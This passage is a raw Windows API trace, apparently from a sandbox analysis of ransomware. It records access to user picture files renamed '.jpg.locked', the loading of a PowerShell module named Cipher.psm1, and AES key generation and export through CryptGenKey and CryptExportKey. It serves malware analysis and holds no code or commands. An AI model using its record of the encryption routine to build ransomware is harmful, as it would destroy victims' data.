ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.161] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0135.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0135.161] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw\\kffcm8hke.jpg.locked"), fInfoLevelId=0x0, lpFileInformation=0x6acafd0 | out: lpFileInformation=0x6acafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bf95fe, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x13bf95fe, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x13bf95fe, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x11b54)) returned 1 [0135.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0135.162] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg.locked", lpFilePart=0x0) returned 0x6b [0135.162] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw\\kffcm8hke.jpg.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0135.162] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0135.162] CloseHandle (hObject=0x858) returned 1 [0135.164] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0135.165] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0135.165] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0135.168] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0135.169] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0135.169] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0135.169] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0135.172] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0135.173] GetConsoleOutputCP () returned 0x1b5 [0135.173] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0135.173] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0135.174] GetConsoleOutputCP () returned 0x1b5 [0135.174] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0135.174] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0135.174] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6af3824*, nNumberOfCharsToWrite=0x65, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x6af3824*, lpNumberOfCharsWritten=0x99ae3a4*=0x65) returned 1 [0135.175] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0135.175] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0135.179] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0135.180] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0135.180] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0135.183] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0135.183] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0135.184] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0135.187] GetConsoleOutputCP () returned 0x1b5 [0135.187] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.187] GetConsoleOutputCP () returned 0x1b5 [0135.187] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.187] GetConsoleOutputCP () returned 0x1b5 [0135.187] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.187] GetConsoleOutputCP () returned 0x1b5 [0135.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.188] GetConsoleOutputCP () returned 0x1b5 [0135.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.188] GetConsoleOutputCP () returned 0x1b5 [0135.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.188] GetConsoleOutputCP () returned 0x1b5 [0135.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.189] GetConsoleOutputCP () returned 0x1b5 [0135.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.189] GetConsoleOutputCP () returned 0x1b5 [0135.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.189] GetConsoleOutputCP () returned 0x1b5 [0135.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.190] GetConsoleOutputCP () returned 0x1b5 [0135.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.190] GetConsoleOutputCP () returned 0x1b5 [0135.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.190] GetConsoleOutputCP () returned 0x1b5 [0135.191] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.191] GetConsoleOutputCP () returned 0x1b5 [0135.191] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.191] GetConsoleOutputCP () returned 0x1b5 [0135.191] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.191] GetConsoleOutputCP () returned 0x1b5 [0135.191] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.191] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0135.192] GetConsoleOutputCP () returned 0x1b5 [0135.192] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0135.192] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.193] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6af479c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6af479c*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0135.194] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.194] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0135.197] GetConsoleOutputCP () returned 0x1b5 [0135.197] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.197] GetConsoleOutputCP () returned 0x1b5 [0135.198] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.198] GetConsoleOutputCP () returned 0x1b5 [0135.198] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.198] GetConsoleOutputCP () returned 0x1b5 [0135.198] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.198] GetConsoleOutputCP () returned 0x1b5 [0135.199] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.199] GetConsoleOutputCP () returned 0x1b5 [0135.199] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.199] GetConsoleOutputCP () returned 0x1b5 [0135.199] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.199] GetConsoleOutputCP () returned 0x1b5 [0135.199] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.200] GetConsoleOutputCP () returned 0x1b5 [0135.200] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.200] GetConsoleOutputCP () returned 0x1b5 [0135.200] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.200] GetConsoleOutputCP () returned 0x1b5 [0135.200] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.200] GetConsoleOutputCP () returned 0x1b5 [0135.201] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.201] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0135.201] GetConsoleOutputCP () returned 0x1b5 [0135.201] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0135.201] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.202] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6af51f4*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6af51f4*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0135.202] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.203] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0135.206] GetConsoleOutputCP () returned 0x1b5 [0135.206] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.206] GetConsoleOutputCP () returned 0x1b5 [0135.207] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.207] GetConsoleOutputCP () returned 0x1b5 [0135.207] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.207] GetConsoleOutputCP () returned 0x1b5 [0135.207] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.207] GetConsoleOutputCP () returned 0x1b5 [0135.207] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.207] GetConsoleOutputCP () returned 0x1b5 [0135.208] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.208] GetConsoleOutputCP () returned 0x1b5 [0135.208] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.208] GetConsoleOutputCP () returned 0x1b5 [0135.209] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.209] GetConsoleOutputCP () returned 0x1b5 [0135.209] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.209] GetConsoleOutputCP () returned 0x1b5 [0135.209] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.209] GetConsoleOutputCP () returned 0x1b5 [0135.210] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.210] GetConsoleOutputCP () returned 0x1b5 [0135.210] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.210] GetConsoleOutputCP () returned 0x1b5 [0135.210] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.210] GetConsoleOutputCP () returned 0x1b5 [0135.210] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.210] GetConsoleOutputCP () returned 0x1b5 [0135.211] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.211] GetConsoleOutputCP () returned 0x1b5 [0135.211] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.211] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0135.211] GetConsoleOutputCP () returned 0x1b5 [0135.212] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0135.212] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.212] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6af6ff0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6af6ff0*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0135.213] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.213] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0135.217] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.217] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.217] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.217] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.217] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.217] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.217] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.218] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0135.218] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.218] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.218] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.218] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.219] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e027a0) returned 1 [0135.219] CryptGenKey (in: hProv=0x8e027a0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84f78) returned 1 [0135.219] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.219] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.219] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6b00974, pdwDataLen=0x99ae894 | out: pbData=0x6b00974*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.220] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x01") returned 0x0 [0135.220] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.220] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.220] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, 